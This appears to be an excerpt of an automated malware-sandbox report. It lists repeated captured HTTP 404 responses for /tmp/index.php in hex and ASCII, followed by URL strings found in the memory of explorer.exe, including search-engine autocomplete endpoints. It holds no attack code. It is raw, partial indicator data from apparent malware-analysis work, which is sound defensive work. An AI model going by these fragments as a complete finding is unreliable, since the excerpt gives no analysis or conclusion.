"-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Mon, 07 Oct 2024 22:20:19 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Mon, 07 Oct 2024 22:20:20 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Mon, 07 Oct 2024 22:20:21 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Mon, 07 Oct 2024 22:20:22 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Mon, 07 Oct 2024 22:20:23 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Mon, 07 Oct 2024 22:20:23 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Mon, 07 Oct 2024 22:20:24 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Mon, 07 Oct 2024 22:20:25 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Mon, 07 Oct 2024 22:20:26 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Mon, 07 Oct 2024 22:21:33 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 03 00 00 00 72 e8 84 Data Ascii: r
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Mon, 07 Oct 2024 22:21:35 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 03 00 00 00 72 e8 84 Data Ascii: r
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Mon, 07 Oct 2024 22:21:37 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 03 00 00 00 72 e8 84 Data Ascii: r
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Mon, 07 Oct 2024 22:21:39 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 03 00 00 00 72 e8 84 Data Ascii: r
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Mon, 07 Oct 2024 22:21:52 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 03 00 00 00 72 e8 84 Data Ascii: r
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Mon, 07 Oct 2024 22:22:08 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 03 00 00 00 72 e8 84 Data Ascii: r
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Mon, 07 Oct 2024 22:22:29 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 03 00 00 00 72 e8 84 Data Ascii: r
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Mon, 07 Oct 2024 22:22:52 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 03 00 00 00 72 e8 84 Data Ascii: r
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Mon, 07 Oct 2024 22:23:18 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 03 00 00 00 72 e8 84 Data Ascii: r

Source: explorer.exe, 00000001.00000000.1779684746.000000000982D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000000.1777426774.00000000079FB000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootG2.crt0
Source: explorer.exe, 00000001.00000000.1779684746.000000000982D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000000.1777426774.00000000079FB000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootG2.crl07
Source: explorer.exe, 00000001.00000000.1779684746.000000000982D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000000.1777426774.00000000079FB000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootG2.crl0
Source: explorer.exe, 00000001.00000000.1779684746.000000000982D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000000.1777426774.00000000079FB000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: explorer.exe, 00000001.00000000.1777426774.00000000078AD000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.comhttp://crl3.digicert.com/DigiCertGlobalRootG2.crlhttp://crl4.digicert.com/Di
Source: explorer.exe, 00000001.00000000.1778417663.0000000007F40000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000001.00000000.1780694925.0000000009B60000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000001.00000000.1778954174.0000000008720000.00000002.00000001.00040000.00000000.sdmp	String found in binary or memory: http://schemas.micro
Source: explorer.exe, 00000001.00000000.1783714743.000000000C964000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.autoitscript.com/autoit3/J
Source: explorer.exe, 0000000C.00000003.2706066309.0000000003441000.00000004.00000020.00020000.00000000.sdmp, DF4B.tmp.12.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: explorer.exe, 00000001.00000000.1783714743.000000000C893000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://activity.windows.com/UserActivity.ReadWrite.CreatedByAppcrobat.exe
Source: explorer.exe, 00000001.00000000.1777426774.00000000079FB000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/Vh5j3k
Source: explorer.exe, 00000001.00000000.1777426774.00000000079FB000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/odirmr
Source: explorer.exe, 00000001.00000000.1783714743.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://android.notify.windows.com/iOS
Source: explorer.exe, 00000001.00000000.1779684746.00000000097D4000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com/
Source: explorer.exe, 00000001.00000000.1779684746.00000000097D4000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com/q
Source: explorer.exe, 00000001.00000000.1775685561.0000000001240000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000001.00000000.1776398835.0000000003700000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com/v1/News/Feed/Windows?apikey=qrUeHGGYvVowZJuHA3XaH0uUvg1ZJ0GUZnXk3mxxPF&ocid=wind
Source: explorer.exe, 00000001.00000000.1779684746.00000000096DF000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com/v1/news/Feed/Windows?&
Source: explorer.exe, 00000001.00000000.1777426774.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com/v1/news/Feed/Windows?activityId=0CC40BF291614022B7DF6E2143E8A6AF&timeOut=5000&oc
Source: explorer.exe, 00000001.00000000.1777426774.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000000.1779684746.00000000097D4000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com:443/v1/news/Feed/Windows?
Source: explorer.exe, 00000001.00000000.1779684746.00000000096DF000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://arc.msn.comi
Source: explorer.exe, 00000001.00000000.1777426774.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/staticsb/statics/latest/traffic/Notification/desktop/svg/RoadHazard.svg
Source: explorer.exe, 00000001.00000000.1777426774.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/weathermapdata/1/static/finance/1stparty/FinanceTaskbarIcons/Finance_Earnings
Source: explorer.exe, 00000001.00000000.1777426774.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/weathermapdata/1/static/weather/Icons/JyNGQgA=/Condition/AAehR3S.svg
Source: explorer.exe, 00000001.00000000.1777426774.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/weathermapdata/1/static/weather/Icons/JyNGQgA=/Teaser/humidity.svg
Source: explorer.exe, 0000000C.00000003.2706066309.0000000003441000.00000004.00000020.00020000.00000000.sdmp, DF4B.tmp.12.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: explorer.exe, 00000001.00000000.1777426774.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13f2DV
Source: explorer.exe, 00000001.00000000.1777426774.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13f2DV-dark
Source: explorer.exe, 00000001.00000000.1777426774.00000000078AD000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gHZu
Source: explorer.exe, 00000001.00000000.1777426774.00000000078AD000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gHZu-dark
Source: explorer.exe, 00000001.00000000.1777426774.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gMeu
Source: explorer.exe, 00000001.00000000.1777426774.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gMeu-dark
Source: explorer.exe, 00000001.00000000.1777426774.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gTUY
Source: explorer.exe, 00000001.00000000.1777426774.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gTUY-dark
Source: explorer.exe, 0000000C.00000003.2706066309.0000000003441000.00000004.00000020.00020000.00000000.sdmp, DF4B.tmp.12.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: explorer.exe, 0000000C.00000003.2706066309.0000000003441000.00000004.00000020.00020000.00000000.sdmp, DF4B.tmp.12.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: explorer.exe, 0000000C.00000003.2706066309.0000000003441000.00000004.00000020.00020000.00000000.sdmp, DF4B.tmp.12.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: explorer.exe, 0000000C.00000003.2706066309.0000000003441000.00000004.00000020.00020000.00000000.sdmp, DF4B.tmp.12.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: explorer.exe, 0000000C.00000003.2706066309.0000000003441000.00000004.00000020.00020000.00000000.sdmp, DF4B.tmp.12.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: explorer.exe, 00000001.00000000.1783714743.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://excel.office.com
Source: explorer.exe, 00000001.00000000.1777426774.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AA15Yat4.img
